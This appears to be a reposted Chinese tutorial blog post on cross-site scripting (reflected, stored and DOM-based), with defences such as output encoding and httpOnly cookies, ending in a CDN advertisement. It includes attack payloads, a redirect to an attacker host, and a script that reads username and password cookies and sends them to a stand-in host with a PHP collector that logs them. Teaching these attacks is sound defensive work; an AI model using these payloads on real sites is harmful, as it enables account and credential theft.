什么是xss攻擊


 概述:

XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器
執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯系人列
表,然后向聯系人發送虛假詐騙信息,可以刪除用戶的日志等等,有時候還和其他攻擊方式同時實
施比如SQL注入攻擊服務器和數據庫、Click劫持、相對鏈接劫持等實施釣魚,它帶來的危害是巨
大的,是web安全的頭號大敵。 

什么是xss攻擊

xss攻擊全稱跨站腳本攻擊是一種在web應用中的計算機安全漏洞,它允許web用戶將代碼植入到提供給其他用戶使用的頁面中

攻擊的條件

實施xss攻擊必須具備兩個條件

一.需要向web頁面注入惡意代碼

二.這些惡意代碼能夠被瀏覽器成功的執行

xss攻擊的幾種方式

一.反射型xss,(非持久型)

當某個站點存在xss漏洞時,這種攻擊會通過url注入攻擊腳本,只有當用戶訪問這個url時才會執行攻擊腳本.

舉例案例:

@app.route('/hello1')

def hello1():

    name = request.args.get('name')

    response = '<h1>Hello, %s!</h1>' %name  

 這個視圖函數接收用戶通過查詢字符串(url后面的參數)傳入的數據,未做任何處理就把它直接插入到返回的響應主題中,返回給客戶端,如果用戶輸入一段js代碼作為查詢參數name的值:

http://127.0.0.1:5000/hello4?name=<script>alert('Bingo!')</script>  

這時候客戶端收到的響應將變成下面的代碼

<h1>Hello,<script>alert(‘Gingo!’)</script>!</h1>  

當客戶端收到響應后,瀏覽器解析這行代碼會打開一個彈窗下圖

firefox瀏覽器(55.0版本)上的響應

 

 在chrome72.0版本上的響應

 

 在IE11上的響應

 

 

結論:針對跨站攻擊,某些瀏覽器已經進行了安全防范.

重點說明:這里的案例只是一個簡單的彈窗,這里能執行彈窗代碼,說明任何js代碼都可以被執行,那么getCookie這些代碼就可以竊取用戶cookie和其他敏感數據,重定向到釣魚網站,發送其他請求,執行注入轉賬,發布廣告信息,在社交網站關注某個用戶等

如果網站A存在XSS漏洞,攻擊者將包含攻擊代碼的鏈接發送給網站A的用戶Foo,當Foo訪問這個鏈接時就會執行攻擊代碼,從而受到攻擊。

 

二.存儲型XSS(持久型)

存儲型XSS也被稱為持久型XSS(persistent XSS),這種類型的XSS攻擊更常見,危害也更大。它和反射型XSS類似,不過會把攻擊代碼存儲到數據庫中,任何用戶訪問包含攻擊代碼的頁面都會被殃及。

比如,某個網站通過表單接收用戶的留言,如果服務器接收數據后未經處理就存儲到數據庫中,那么用戶可以在留言中出入任意javaScript代碼。比如攻擊者在留言中加入一行重定向代碼:

<script>window.location.href=”http://attacker.com”;<script>

其他任意用戶一旦訪問關於這條留言的頁面,包含這條留言的數據就會被瀏覽器解析,就會執行其中的javaScript腳本。那么這個用戶所在頁面就會被重定向到攻擊者寫入的站點。

 

三.DOM-based 型

基於 DOM 的 XSS 攻擊是指通過惡意腳本修改頁面的 DOM 結構,是純粹發生在客戶端的攻擊。DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬於前端 JavaScript 自身的安全漏洞

即使不插入js代碼,通過HTML和XSS注入也可以影響頁面正常的輸出,篡改頁面樣式,插入圖片等。

如何防御xss攻擊

1. 對輸入內容的特定字符進行編碼,例如表示 html標記的 < > 等符號。 

2. 對重要的 cookie設置 httpOnly, 防止客戶端通過document.cookie讀取 cookie,此 HTTP頭由服務端設置。 

3. 將不可信的值輸出 URL參數之前,進行 URLEncode操作,而對於從 URL參數中獲取值一定要進行格式檢測(比如你需要的時URL,就判讀是否滿足URL格式)。 

4. 不要使用 Eval來解析並運行不確定的數據或代碼,對於 JSON解析請使用 JSON.parse() 方法。 

5. 后端接口也應該要做到關鍵字符過濾的問題。 

 

案例一:留言板的XSS攻擊

我們有個頁面用於允許用戶發表留言,然后在頁面底部顯示留言列表

 

 因為我們完全信任了用戶輸入,但有些別有用心的用戶會像這樣的輸入

 

 這樣無論是誰訪問這個頁面的時候控制台都會輸出“Hey you are a fool fish!”,如果這只是個惡意的小玩笑,有些人做的事情就不可愛了,有些用戶會利用這個漏洞竊取用戶信息、誘騙人打開惡意網站或者下載惡意程序等,看個最簡單的例子

利用xss竊取用戶名密碼

當然這個示例很簡單,幾乎攻擊不到任何網站,僅僅看看其原理。我們知道很多登陸界面都有記住用戶名、密碼的功能方便用戶下次登錄,有些網站是直接用明文記錄用戶名、密碼,惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結構名稱后,如果網站有xss漏洞,那么簡單的利用jsonp就可以獲取其它用戶的用戶名、密碼了。

惡意用戶會這么輸入

 

 我們看看http://test.com/hack.js里藏了什么

var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);

幾句簡單的javascript,獲取cookie中的用戶名密碼,利用jsonp把向http://test.com/index.php

發送了一個get請求

來看一下http://test.com/index.php中的內容

<?php
    if(!empty($_GET['password'])){
        $username=$_GET['username'];
        $password=$_GET['password'];
        
        try{
            $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
            $fp=fopen($path,'a');
            flock($fp, LOCK_EX);
            fwrite($fp, "$username\t $password\r\n");
            flock($fp, LOCK_UN);
            fclose($fp);
        }catch(Exception $e){
 
        }
    }
?>

這樣惡意用戶就把訪問留言板的用戶的信息竊取了 

  

案例二:輸入框的XSS攻擊

 

 1、如果我直接在用戶名這里輸入<script>alert("1")</script>,然后輸入一個錯誤的密碼,並沒有執行script代碼,因為返回的html頁面是這樣的:

說白了就是自己拼接,將input標簽進行閉合,然后將script代碼綴在后邊。

通過用戶名的輸入,將input拼接成如下,即可實現script代碼的執行:

<input name="userName" class="textcss" id="userName" type="text" value="abc"/><script>alert("1")</script>"/>

為什么會執行?

可以將拼接后的input拆分看一下,就很明白了

<input name="userName" class="textcss" id="userName" type="text" value="abc"/>

<script>alert("1")</script>

"/>

因為input已經閉合了,所以script代碼會執行,至於拼接后的html文件是有語法錯誤的問題(因為最后剩下一個"/>,這個html是有錯誤的,但是不影響頁面展示和script代碼執行)就可以忽略了。

因此,只需要在用戶名那里輸入:

abc"/><script>alert("1")</script>

然后輸入一個錯誤的密碼,點擊登錄,就會執行script代碼,彈出彈框。

 

 

參考網站: 

https://blog.csdn.net/qq_41725536/article/details/85722124

https://github.com/yvettelau/step-by-step/issues/18   跨站腳本攻擊XSS案例及其解決方案  (推薦)

 

結語:

如今,各種類型網絡攻擊日益頻繁,除了XSS攻擊之外,比較常見的網絡攻擊類型還包括DDoS攻擊、CC攻擊等,它們非常難以防御,除了需要做好日常網絡安全防護之外,還需要接入高防服務,可以接入天下數據高防cdn,通過天下數據高防cdn隱藏源IP,對攻擊流量進行清洗,保障企業網絡及業務的正常運行。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM